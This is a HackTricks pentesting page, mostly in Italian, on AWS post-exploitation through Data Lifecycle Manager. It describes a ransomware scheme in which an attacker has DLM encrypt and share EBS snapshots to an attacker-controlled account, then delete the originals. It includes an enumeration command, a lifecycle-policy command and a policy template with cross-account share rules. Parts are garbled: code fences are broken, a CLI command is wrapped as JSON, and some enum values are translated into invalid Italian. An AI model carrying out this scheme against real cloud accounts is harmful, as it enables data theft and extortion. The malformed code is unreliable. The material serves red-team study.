AWS - DLM Post Exploitation

Sostieni HackTricks

Gestore del Ciclo di Vita dei Dati (DLM)

EC2:DescribeVolumes, DLM:CreateLifeCyclePolicy

Un attacco ransomware può essere eseguito crittografando il maggior numero possibile di volumi EBS e successivamente cancellando le istanze EC2 attuali, i volumi EBS e gli snapshot. Per automatizzare questa attività maliziosa, si può utilizzare Amazon DLM, crittografando gli snapshot con una chiave KMS da un altro account AWS e trasferendo gli snapshot crittografati a un account diverso. In alternativa, è possibile trasferire gli snapshot senza crittografia a un account gestito e crittografarli lì. Anche se non è immediato crittografare direttamente i volumi EBS o gli snapshot esistenti, è possibile farlo creando un nuovo volume o snapshot.

In primo luogo, si utilizzerà un comando per raccogliere informazioni sui volumi, come l'ID dell'istanza, l'ID del volume, lo stato della crittografia, lo stato dell'allegato e il tipo di volume. aws ec2 describe-volumes

Secondly, one will create the lifecycle policy. This command employs the DLM API to set up a lifecycle policy that automatically takes daily snapshots of specified volumes at a designated time. It also applies specific tags to the snapshots and copies tags from the volumes to the snapshots. The policyDetails.json file includes the lifecycle policy's specifics, such as target tags, schedule, the ARN of the optional KMS key for encryption, and the target account for snapshot sharing, which will be recorded in the victim's CloudTrail logs.

```json
{
  "aws dlm create-lifecycle-policy": "--description \"La mia prima policy\" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json"
}

A template for the policy document can be seen here:
```bash
```json
{
"PolicyType": "GESTIONE_SNAPSHOT_EBS",
"ResourceTypes": [
"VOLUME"
],
"TargetTags": [
{
"Key": "ChiaveEsempio",
"Value": "ValoreEsempio"
}
],
"Schedules": [
{
"Name": "SnapshotGiornalieri",
"CopyTags": true,
"TagsToAdd": [
{
"Key": "CreatoreSnapshot",
"Value": "DLM"
}
],
"VariableTags": [
{
"Key": "CentroCosti",
"Value": "Finanza"
}
],
"CreateRule": {
"Interval": 24,
"IntervalUnit": "ORE",
"Times": [
"03:00"
]
},
"RetainRule": {
"Count": 14
},
"FastRestoreRule": {
"Count": 2,
"Interval": 12,
"IntervalUnit": "ORE"
},
"CrossRegionCopyRules": [
{
"TargetRegion": "us-west-2",
"Encrypted": true,
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
"CopyTags": true,
"RetainRule": {
"Interval": 1,
"IntervalUnit": "GIORNI"
}
}
],
"ShareRules": [
{
"TargetAccounts": [
"123456789012"
],
"UnshareInterval": 30,
"UnshareIntervalUnit": "GIORNI"
}
]
}
],
"Parameters": {
"ExcludeBootVolume": false
}
}

<div data-gb-custom-block data-tag="hint" data-style='success'>

Learn & practice AWS Hacking:<img src="/.gitbook/assets/image.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/image.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/image (2).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/image (2).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>

</div>

Last updated